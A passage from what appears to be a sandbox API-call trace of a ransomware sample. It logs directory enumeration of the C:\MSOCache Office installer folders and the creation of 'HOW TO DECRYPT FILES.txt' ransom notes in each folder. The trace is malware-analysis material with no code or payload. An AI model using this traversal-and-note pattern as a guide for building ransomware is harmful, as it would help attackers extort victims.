returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.863] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.863] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.863] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.863] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.863] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0057.863] lstrcmpA (lpString1=".", lpString2="{91140000-0011-0000-1000-0000000FF1CE}-C") returned -1 [0057.863] lstrcmpA (lpString1="..", lpString2="{91140000-0011-0000-1000-0000000FF1CE}-C") returned -1 [0057.863] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.863] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{91140000-0011-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" [0057.863] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.869] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.869] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.869] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.869] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.869] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0057.869] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.870] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.870] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.870] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.870] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.870] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.870] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.872] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.872] CloseHandle (hObject=0x88) returned 1 [0057.872] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="Office32WW.msi" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" [0057.872] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0057.872] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.872] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned="Office32WW.msi" [0057.872] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.873] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.873] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.873] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.873] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="Office32WW.xml" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" [0057.873] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0057.873] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.873] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned="Office32WW.xml" [0057.873] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.873] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.873] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.873] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.873] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="ose.exe" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" [0057.874] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x780074, dwReserved1=0x74, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0057.874] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.874] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned="ose.exe" [0057.874] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.874] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.874] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.874] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.874] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="osetup.dll" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" [0057.874] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0057.874] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.874] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned="osetup.dll" [0057.874] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.874] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.874] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.874] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.874] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="OWOW32WW.cab" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" [0057.875] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0057.875] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.875] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned="OWOW32WW.cab" [0057.875] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.875] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.875] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.875] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.875] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="PidGenX.dll" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" [0057.875] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0057.875] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.875] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned="PidGenX.dll" [0057.875] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.875] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.875] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.875] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.876] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" [0057.876] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0057.876] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.876] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0057.876] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.876] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.876] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.876] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.876] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="ProPlusrWW.msi" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" [0057.876] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0057.876] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.876] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned="ProPlusrWW.msi" [0057.876] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.876] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.877] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.877] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.877] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="ProPlusrWW.xml" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" [0057.877] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, 